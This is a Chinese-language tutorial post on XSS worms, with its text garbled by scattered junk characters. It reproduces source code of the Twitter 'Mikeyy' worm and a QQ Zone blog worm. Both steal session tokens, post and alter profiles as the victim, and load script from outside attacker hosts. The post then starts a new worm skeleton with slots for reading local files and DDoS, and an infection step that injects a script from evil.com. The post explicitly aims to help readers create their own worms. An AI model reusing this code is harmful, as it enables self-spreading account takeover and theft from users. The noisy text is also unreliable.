" x/ u x( N" ]) b2 P第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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+ P! V' b7 h) m6 U% x; N8 v! i' P- a 2. 9 g! L* H- ^/ O# U" c! e
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3. function XHConn(){ : w j9 x/ _+ A' T' T
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4. var _0x6687x2,_0x6687x3=false; 9 m& f; Y4 `7 K7 L# o* a+ l4 C
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5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } 9 A. U3 S0 v3 N& y1 }* q+ ~
& ?1 O, n% w3 k- J1 n 6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 0 I& ^4 s5 ^3 @3 V( Z6 [6 r
/ P" Y) t- o1 p 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } 2 M. H4 Y5 q' M5 k+ p; |/ }# W3 F
8 \+ Q+ ~$ d" o0 E, b. G/ M. B 8. catch(e) { _0x6687x2=false; }; }; }; 3 F0 z$ E' r2 L+ |+ n
复制代码第六版: 1. function wait() {
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2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie; ! p1 `6 z+ i* g6 g* B4 ?
' |, {- a. x6 Y2 M ?/ Z/ X 4. var tmp_posted=tmp_cookie.match(/posted/);
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% P1 V9 v! }0 A8 U 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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6. var authtoken=authreg.exec(content);
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% f2 C9 Y: n) V3 X* g+ n5 X 7. var authtoken=authtoken[1]; & Y5 M/ [2 ?: A8 k+ F/ b! S, K
% m- K5 r! c5 p: t 8. var randomUpdate= new Array();
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# f+ F. G8 T# O& D& g- R* ] 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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. b/ x+ Q9 }: l# C; t Y( \8 T 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; $ L( a; ~# }4 L5 w: K
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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7 x& x- l& x6 @9 t" `% E$ l! X 14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; $ V; `: C: Q" K( N4 ?
* C( B. ~$ G4 O( w* I' G- L% t 15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 0 @' M' D. s A o
3 X( r% T* a( W$ Y+ O0 b% X 17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; ' R9 D6 l# V; |) l5 v
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19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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* j. A) P4 }/ P- i V, b& [5 [, F" P3 f* U 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; + e& T4 K& V/ k' M) \. U
N! X4 W4 h1 i 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; , U- V; |3 }& B5 o& W
$ t% E# y C, Z; U7 M0 Y 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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$ z, k& Q9 X1 `6 A 23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; ' B& [/ C0 G1 E! c$ J
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24.
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& L0 }8 D" W0 ^& ~3 ~0 H: S 25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; # Y& a$ W+ c' @. W" f- X
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26. var updateEncode=urlencode(randomUpdate[genRand]); ' F; l9 U$ I: A# Q7 q) S; C
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27. 0 W5 p0 l5 _" y. ~7 I3 t
, g7 M% P) Y' } D4 V 28. var ajaxConn= new XHConn();
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy";
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31. var updateEncode=urlencode(_0xf81bx1c);
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3 G5 U5 c& ^& W 32. var ajaxConn1= new XHConn(); ( z+ r5 B4 r* Y( \ J- b7 K# U
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 1 o% H' a, v9 W& v# x7 a3 D" n3 p
, B O! `9 r6 S* x, H 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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5 x: |4 J( C$ X; z3 i 35. var XSS=urlencode(genXSS);
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- b% `6 _3 `% N! i 36. var ajaxConn2= new XHConn();
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# f. c0 S7 n; b! _' l 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");
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2 i; w- P" X2 w% S4 a2 `: A 38. 7 u: @) e* R" g
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40. setTimeout(wait(),5250); / ]$ v3 T* n- t U s7 C
复制代码QQ空间XSSfunction killErrors() {return true;}
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window.onerror=killErrors;' I) v) S. N, S* F4 L, j& W2 b
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var shendu;shendu=4;/ ]2 J4 a; Z1 W' U; s
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//---------------global---v------------------------------------------: @* i e7 G* m8 G7 U5 ]$ q& r
, Z' x; L3 O% M4 W/ I2 o//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?, p" G, w! K5 A; J6 ~* W
# O/ j/ U: Q0 z1 o& Zvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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var myblogurl=new Array();var myblogid=new Array();# u {5 K, i* l6 K1 R$ Q! B, l
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var gurl=document.location.href;; T' Q' S8 F6 ^8 ~4 ?; [8 A" W# U% K
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var gurle=gurl.indexOf("com/");
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+ P) i* L# n$ y, b2 b. D2 C( R gurl=gurl.substring(0,gurle+3);
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* Q( b8 j1 Z+ A) r5 n- r var visitorID=top.document.documentElement.outerHTML; \( E B8 c3 ?8 m' \
3 c h" Z- O/ M6 r' G2 }+ k2 s7 |/ k var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);- v- _* y5 [( ~6 w2 Y+ O* t
, t2 Y! Y6 P! W5 e) x3 r+ l7 q cookieS=visitorID.indexOf(",");. c- c0 v" [2 c$ i/ I7 b( d
B" t7 M& d5 M% g; b9 _ visitorID=visitorID.substring(0,cookieS);7 g+ B5 n% d0 Y; W, N, u
7 @( i0 Q# F2 K. ~; ^& T U8 ] get_my_blog(visitorID);+ M( r% B- j( D+ W; S1 l. B7 b9 H
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DOshuamy();4 ?2 h* z7 V* r( b, G7 e4 G
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. \3 J/ @4 z' G# I3 n# |8 W' Y8 Y. M//挂马2 z Q7 f+ Q8 V1 e( o
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function DOshuamy(){- y, _9 ] ^* ~; V- b
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var ssr=document.getElementById("veryTitle");" L( B$ ?7 M: H7 Q6 m: {0 U( E: A
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?
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function get_my_blog(visitorID){+ L( l! J4 C+ I; w) q; i
4 h4 F9 z+ m8 p( n0 x+ } userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";1 Y" Q/ _5 x r
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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if(xhr){ //成功就执行下面的
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xhr.open("GET",userurl,false); //以GET方式打开定义的URL0 Q4 L; Y6 v7 D7 s# x) l, `
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xhr.send();guest=xhr.responseText;8 o) b* J0 x- ^: b5 G# N
2 g- D4 {1 w2 P4 M9 {# T. z/ J- A get_my_blogurl(guest); //执行这个函数% e4 Z) _% _, z5 l z/ t9 R
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8 u+ A/ U) g+ e- S* V5 V: C//这里似乎是判断没有登录的% R( ~0 z4 ], P' H1 o/ K
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function get_my_blogurl(guest){ s' y& F/ t& G! \3 U# p
6 J4 U- A6 \2 r6 {( j M var mybloglist=guest;
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var myurls;var blogids;var blogide;
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9 z$ Q* x. L W0 F i" y for(i=0;i<shendu;i++){0 u0 N8 P) @$ n" Q
6 h. C E( N9 `/ Y+ d myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的3 n7 c2 ^- y6 R6 D
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mybloglist=mybloglist.substring(myurls+11);5 h5 j4 V' l: }, Z" R
) `9 @# S3 J; ] myurls=mybloglist.indexOf(')');
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% j4 ~0 R: \. O1 ?9 J0 @+ P4 Y myblogid=mybloglist.substring(0,myurls);
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6 `2 |7 r, ^/ C }else{break;}
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' _& s/ [7 M/ E' Z5 h& q" `$ ?}
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; k3 N* i7 M# E* C1 pget_my_testself(); //执行这个函数; ~' {2 q3 y* _# j" }5 |) _
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}
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//这里往哪跳就不知道了$ ]$ Y8 H! y2 k1 Q7 ?# E( r; v
( i$ v1 \9 d) R9 cfunction get_my_testself(){
& j- }9 E% i5 {2 D8 k3 G/ r' o) H" R1 j! T9 v9 `2 Q, m) |$ ]
for(i=0;i<myblogid.length;i++){ //获得blogid的值
& w- u" n$ }% c0 [. x0 y+ U8 ?( m) J8 `& P, o0 z5 v) b; X
var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
2 I0 j. O# |. E3 h. L5 g( L# m2 p4 h6 G( x, P$ o) D$ [
var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象- z! F7 i4 B, @- }
3 O4 s$ q% u- A6 Q! {/ `$ F6 ?8 T, R
if(xhr2){ //如果成功
4 w/ O7 f4 M5 g9 n1 w
1 ~# O$ w: r+ w xhr2.open("GET",url,false); //打开上面的那个url8 F. E4 J% Y5 |; k
7 {. ?/ X7 m+ t. V0 a, y# ^
xhr2.send();+ V- a C3 O9 X. t: s; X% `
. t% |+ E, m- w! j
guest2=xhr2.responseText;/ @7 c0 x( L/ |! k) C
2 D0 c' t- ^" A- u# i var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?5 T. d) g; p6 x: ^' |1 P
& ~) T( T+ }. {- C+ q0 a0 k% G var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
1 M5 w& R H9 d, M n- ?' T1 z/ w% M, K
if(mycheckmydoit!="-1"){ //返回-1则代表没找到8 R1 ^1 p; W3 O1 S: S5 F
1 _. V4 q: g. |" p% n; o targetblogurlid=myblogid; ( W9 v+ C% b& \
" r; B" o/ t4 f5 j: M# H
add_jsdel(visitorID,targetblogurlid,gurl); //执行它& w. u: h5 ]8 e' x8 w; X
9 S' U) d4 l9 J, g4 r) `; I2 ^
break;
( @. h4 A# U* X# }( I8 B1 L# \4 P5 A9 ?) a m& D" H
}' c# Q9 g- i" T- g7 A( {
, m* f( Y8 S; g% a% K if(mycheckit=="-1"){
5 i1 e. R; s* q" H! h5 M4 n
+ Y9 r/ i+ V/ x% Y targetblogurlid=myblogid;& Q4 ^" c$ M/ }: b8 p- q
5 t/ Q8 N7 t, Z5 u: c
add_js(visitorID,targetblogurlid,gurl); //执行它7 M1 G# R& Z! }7 V6 l
+ m! R. V8 @% I- I9 H1 S
break;
! h! q: n2 q5 C3 P( e8 t' A( a1 B# a
}
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}
/ ]9 p4 U# `, R: @; X
" J, c' M2 X/ w8 _# b" T( z4 D}
( d- M+ Z3 ^- O" B
7 T2 a# F& U( ~/ n% Y) `2 ?# Z A}0 W$ N; f& j5 p+ ~
+ T' b X W9 B( [% S7 A6 L! \1 A1 F
( U) y( D0 r% J4 U
3 N1 U* F; x4 Y$ t! ~//-------------------------------------- + S4 [# x* |5 W* D' E& K( i
* g* T5 ?# w- t% l2 C
//根据浏览器创建一个XMLHttpRequest对象
O# D& o4 @4 @) R3 c
5 |; b: {8 W/ A, J( Zfunction createXMLHttpRequest(){1 q5 `" G* a3 E* T) v5 W- t
, h% Z0 a5 `2 e" G, P var XMLhttpObject=null; & |2 F; ~# R) w" b) R3 t2 k4 F
. ]* ?1 ~' ~5 g) K+ G5 J- n! B if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} ' X3 t$ X( \7 \# \! ?" t6 B# r1 J
2 t U* g- I P+ Q5 K$ H
else
; v. W; W4 V$ s2 x4 i
5 h2 Q& D( V& z1 `; ?9 N3 N { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];
$ t5 H3 m, e* G" J, S2 _' Z m, i& Q7 x3 K
for(var i=0;i<MSXML.length;i++) ) M4 a; D' u" m" v
/ c8 B) v3 [& j: W& u! K { ! u' { t$ |) L2 t
$ ?$ d! h E' v; k0 t. \/ a try
( Z4 j# b( g, e1 R# M1 e- D# N6 p, Y& s
{ 8 q2 O( H- j7 \/ T7 I
; f3 d1 o) }+ e) y9 a$ J0 \; g$ t XMLhttpObject=new ActiveXObject(MSXML);
8 G M- _' q( h# d4 O9 [( g" ~2 k) c" N- X
break;
8 a4 z$ |+ z4 r
0 {8 J( j8 b; r1 Z" ]; `1 D } 7 {, e! T( d3 u* p7 M. e# Z0 h
. A6 Z, B( v; |( G5 i9 G' R catch (ex) { * d1 V8 |4 D. _/ S
: v' `. f0 l9 i$ ?6 j
} . x$ J, K6 W) \$ m% N* E9 K
2 H( x) R( N# l+ x' ]; R3 } } # K/ i" o6 s3 y# t
5 H. j1 E( ]1 ^3 m& z
}
8 N( b3 b+ }& Y. z4 _/ n
. ?8 {: o7 D2 A; M( p3 Greturn XMLhttpObject;
- \3 i3 r) a X2 z& `' O5 E: o0 v: b9 F! X
}
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- E' [) r# x+ U! q" v% f; t. R6 j0 w/ i8 L
//这里就是感染部分了6 P1 P2 J8 H- p$ A6 Q7 w
: ?0 E; \1 _ d1 @6 B% k0 g
function add_js(visitorID,targetblogurlid,gurl){3 u' W; ]& C$ @% V9 ~3 U
7 X/ z7 ]) O; t# O; s! E% \var s2=document.createElement('script');8 T( O9 F# S/ n/ M# n3 L* e
% r1 J, b. V7 n5 {s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();9 k3 A1 X4 f: i
! z: E$ r2 p& E9 z X! a. s" ]s2.type='text/javascript';
& t1 B8 c% C F2 B" O0 S/ Z; x; \
0 g% z9 F1 q; }2 t; ?2 I- q- Jdocument.getElementsByTagName('head').item(0).appendChild(s2);9 c% J* E0 ?* f
; w2 h: o4 r5 z& P% \/ G* g* f# R}
% P; {- N: f3 K/ }% C
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9 [9 D% B8 M$ z3 ~& K8 K0 c, `
function add_jsdel(visitorID,targetblogurlid,gurl){
0 {' @: u- K5 C* n* D, C/ q8 N% \( L7 z/ w) O5 w
var s2=document.createElement('script');
' A: d6 Y, S' L2 N9 Z- O& j: D* u$ H/ `( x9 Q( f4 r8 O9 b! Z! m( S
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
( B% A& R2 u+ Z: n. X4 a2 n" N3 |0 H" c F( w
s2.type='text/javascript';: a. E. h+ ~2 }# G1 z- R
- U; m. |) l1 @# Z. Q1 _8 Odocument.getElementsByTagName('head').item(0).appendChild(s2);
) }. p5 Q( {5 p6 s0 F
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9 X u4 j6 |: E' D复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
# e" e3 k( b8 _" A' R, ^. [1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)* P1 a) |+ } g5 B
4 \$ Y- G: @# j# d5 R* X2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)4 I$ d' J5 U9 _6 j- G
- O% ~: ]4 G T6 X/ Y% A" N0 {综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
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$ ~- G1 _" B- R/ c# \2 r8 E; [5 J. [8 H8 L, f4 e. X( e
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
$ c$ h; X2 u' @ H7 X3 R6 F
% B; w3 p7 l" a, T3 D1 P o9 q. Z8 v首先,自然是判断不同浏览器,创建不同的对象var request = false;
v. G6 @7 l2 w- ]" N4 x
9 e v0 Q9 `3 i8 c# ^$ t, p+ y2 Aif(window.XMLHttpRequest) {
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( S- m/ m/ P, c& Z1 K# r( nrequest = new XMLHttpRequest();
7 ?. T2 d: Z% n: ]5 y L4 ~0 D) e9 j, u- d
if(request.overrideMimeType) {
' K0 G" y8 T5 s
5 Z! @7 H A( x3 A) l9 ? ~% X& irequest.overrideMimeType('text/xml');
7 q2 j0 b$ ^( N& ?. y7 W0 m0 { O# b/ y* x* [7 f9 o3 A
}
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0 T- ^4 |6 J5 e+ E3 z0 D4 n} else if(window.ActiveXObject) {9 T8 i- C/ }2 K5 [/ f( U# H6 w. L
* L1 Y6 ^1 {5 }/ i- W2 T4 K) Y% svar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
b% b! \5 X6 H- H2 X% r/ V1 g; K( r$ p- f
for(var i=0; i<versions.length; i++) {* X5 L8 n9 Q; `( n. [- O. A
- [ }! M; o, {, C$ {
try {
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% n1 q& L( f; a; arequest = new ActiveXObject(versions);1 I3 A |% N4 F; u. d( I* S, g
" Y6 Z3 f, U! \: {4 K. V) G} catch(e) {}
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3 u' {8 b5 ^8 A6 W! u- m& g4 w}
/ j; W* {; H0 X: h$ P/ ~% B8 ?' h' |; `# Q; J5 l% N0 ^* h
}
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9 ^) T4 G' S: u2 F3 h; gxmlHttpReq=request;9 y2 p8 q+ {- T0 T
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){0 B4 X% h2 W1 O. ~" Y3 p
: U1 y2 I7 W6 q- }
var Browser_Name=navigator.appName;
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var Browser_Version=parseFloat(navigator.appVersion);
7 J/ b/ w' q" a
! l3 }; P4 q+ m var Browser_Agent=navigator.userAgent;* I) Y* @7 C/ V; E
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1 Q# S% h5 ?1 P7 X: r- {% I
8 H, Z7 U/ @5 ?9 w0 A: X0 @5 O" F) B4 C var Actual_Version,Actual_Name;( v( u' m) p1 O3 ?" p1 }
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8 _/ J+ g# C0 T8 j( ^# n' t var is_IE=(Browser_Name=="Microsoft Internet Explorer");
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var is_NN=(Browser_Name=="Netscape");3 x8 P7 H! K q& Q! R1 X- A( e( b
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var is_Ch=(Browser_Name=="Chrome");
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5 v' |" t+ ]9 b
if(is_NN){
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if(Browser_Version>=5.0){
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& X4 c Z8 e7 k( f2 R var Split_Sign=Browser_Agent.lastIndexOf("/");6 a) k% Y |, e
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var Version=Browser_Agent.indexOf(" ",Split_Sign);' y# y$ Y7 A8 q$ g. `3 r# k
U/ _4 }9 m# t6 g* Y4 f8 [
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);# G- J( ~: w" u+ F' S( V6 f7 `
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6 B' p& M* ?, {1 ` T! C2 @9 z
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
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/ T6 {1 q y: T5 B6 r9 w Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
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7 H- w& l( q! X' ?7 R }+ ?+ ]& y; |/ c O+ e% }
0 \0 Q0 e A6 V# n5 L0 n else{
: C$ d7 M2 g0 p* ]
* z) t! p6 T- R Actual_Version=Browser_Version;, |8 Y1 m' C1 U
* {1 D2 w8 I. m6 H7 Y- [
Actual_Name=Browser_Name;0 d1 T! T2 }6 Q- E1 @7 _
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}: R6 ~, g0 N: X% a- j% u, [
) e) q$ ]1 f8 D+ w0 Y# \" T. r
}
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else if(is_IE){
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var Version_Start=Browser_Agent.indexOf("MSIE");
+ h& r* Z5 K% m- e% M* B% L E& [5 q) s. H; m/ G. e
var Version_End=Browser_Agent.indexOf(";",Version_Start);: }0 O3 X9 d% ^* s
( h4 u3 |3 _) U! G
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ f. C I& }1 Y( S5 t: n0 T% t& [! q. M6 N3 L
Actual_Name=Browser_Name;
1 @2 X% F" P1 X( K" h. _$ R3 a6 M, D9 o- @+ j
Z( |; }* y* T( R% s
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if(Browser_Agent.indexOf("Maxthon")!=-1){7 H+ s @; r( V# J
& K% U) B1 N( o( ^& m; o0 ~ Actual_Name+="(Maxthon)";1 a& s& L( D s* r6 B6 M
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} X B( N i+ A% ?8 [
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else if(Browser_Agent.indexOf("Opera")!=-1){
( C% z& {$ ?; b3 i% |5 q9 ^& T I5 H6 z) x; r
Actual_Name="Opera";. Q6 H6 B! U; y3 g1 e1 \' a
6 G5 J; {2 i" q) i
var tempstart=Browser_Agent.indexOf("Opera");, w2 d2 Y' e: o: u7 w( V$ y# O
7 `& {- J, B3 ~2 X
var tempend=Browser_Agent.length;
) u7 p' {; p; f8 t2 F* y$ _2 w7 _$ f9 }* J& a6 s( k# s: y
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)4 H( T4 g2 f/ {& h. p0 A! B5 Q3 v
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" b' y4 Z/ F0 z5 |* ^( U5 c. p& o else if(is_Ch){" [( l4 ^* N v6 q0 b6 N: y
`! C4 r- u, H' G+ h5 q var Version_Start=Browser_Agent.indexOf("Chrome");
+ o) W5 r. Q: O0 R8 Z* _" I+ f- i: u) n
var Version_End=Browser_Agent.indexOf(";",Version_Start);
/ u, K$ Q2 D1 Z4 Q9 D! h- h2 Z. O' O- B! z: o/ [! ^# J- H
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End) o M6 u! q6 D5 Y+ s* n- g
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Actual_Name=Browser_Name;2 Y, n, F4 N2 j' _) R
: {9 }5 }% r% I) u' ^ ( B3 |1 V0 C, l+ f% O! B
$ r: d% D* V3 P# @& Z$ n
if(Browser_Agent.indexOf("Maxthon")!=-1){
, w& C$ o+ b# O0 L! ?* \8 [+ t% S: j9 H& {
Actual_Name+="(Maxthon)";& {( u- X' a+ Q1 @4 }4 b$ e/ |
* P6 ~& t& D: y' S z
}
6 ]; I+ f; V/ |7 b& L5 n: C% u7 I0 G& Q A0 f8 Y* `
else if(Browser_Agent.indexOf("Opera")!=-1){, n. p, j* x4 E0 j* Z% D
5 k; c$ T8 B! V9 l+ n Actual_Name="Opera";
& }3 G& ~1 Q5 h; t- m# f0 j6 X$ p: m) u; u+ p2 w
var tempstart=Browser_Agent.indexOf("Opera");
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7 c" U& J0 }4 X var tempend=Browser_Agent.length;0 Z6 X# g; `0 _: l |" g+ c
( y* o6 I1 _* p9 s+ z7 M
Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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7 }9 k: D* f/ [( h" W. C: ~
else{1 `/ G6 v2 ^, X/ @6 R( w' M8 b9 @
* G0 i4 ]+ @# j: M( ?" _# t; R Actual_Name="Unknown Navigator"; J$ G$ N; c" l8 ]7 a$ l c5 H0 w, t
+ T$ }3 m8 L. g; N Actual_Version="Unknown Version"1 ]9 n/ U" b$ i% g1 v: b
0 G4 X" o8 J7 L+ R( }/ q$ e2 Q: S: [4 F }2 O, c$ }8 B6 E' e$ X
/ b9 S$ U! y' S. h8 N- Q, O9 V, F4 W' v6 e# x
8 A- o8 D2 T9 [* w1 O navigator.Actual_Name=Actual_Name;
" g! m# x0 E$ [2 ?! V+ I. O+ [7 y2 g% v# I; S: i
navigator.Actual_Version=Actual_Version;
+ U' ~7 d6 |4 b9 [4 L6 S7 l. `, W
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' z: Z0 f. g; \
this.Name=Actual_Name;
7 H3 v# W* J* ]- Q6 Q t& P; |; s4 o# s+ M) R
this.Version=Actual_Version;
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, b9 b! R* x! E- Y3 m$ F* a8 W
browserinfo();
9 Q& [7 |$ m9 p/ s' i! E: }
% p; T1 `4 q" P( Q3 }5 v if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}# \& x' r$ p [ g1 z0 U _6 V% n( L
# v+ Z; q! G0 [) m c0 R if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}: t' X& x ]/ D& T/ f$ x, z
; H+ O3 W# L3 q3 O1 Z0 ?
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
5 c2 |9 ^& N- O) u! S2 d' ?5 }! M1 n; v
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}! A+ z4 X3 T$ ~) P. q
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码0 Y- Z' i5 N1 M: [. r$ Q0 \1 Z6 C
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
# z' e& r' I$ j0 j/ g复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.4 P# v7 J$ M' {( M, [
c8 K! H5 j8 lxmlHttpReq.send(null);0 m1 ?) K# {4 W
# p; I G2 B! k
var resource = xmlHttpReq.responseText;0 {/ D2 k9 [ o0 q) ?9 k. R
t9 @' p, ?6 u4 {- m0 Ovar id=0;var result;
( e" o7 ~& Y' {. @# G
1 h. K0 V! H8 q o: D& G+ h! jvar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.3 { v& Z% }. ]: ] R
- {$ Q+ \+ p( C, Twhile ((result = patt.exec(resource)) != null) {! Z% @3 h& e0 t& ?; @6 n0 y4 o6 N
5 z) B. o7 a2 T4 b( m
id++;# H. ^0 @6 C/ ^# l6 D* B0 a
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}
& e4 C" W8 Q K4 d复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.5 T+ B" m+ X9 E# B; W! m/ K
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no=resource.search(/my name is/);9 v/ B- v1 j. p# D& |
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
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) q$ ~, g9 g x+ g% s4 Zvar post="wd="+wd;9 p! b! p+ Q. K4 V/ A8 m
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xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.( L" g, W" u/ Z( a- ~
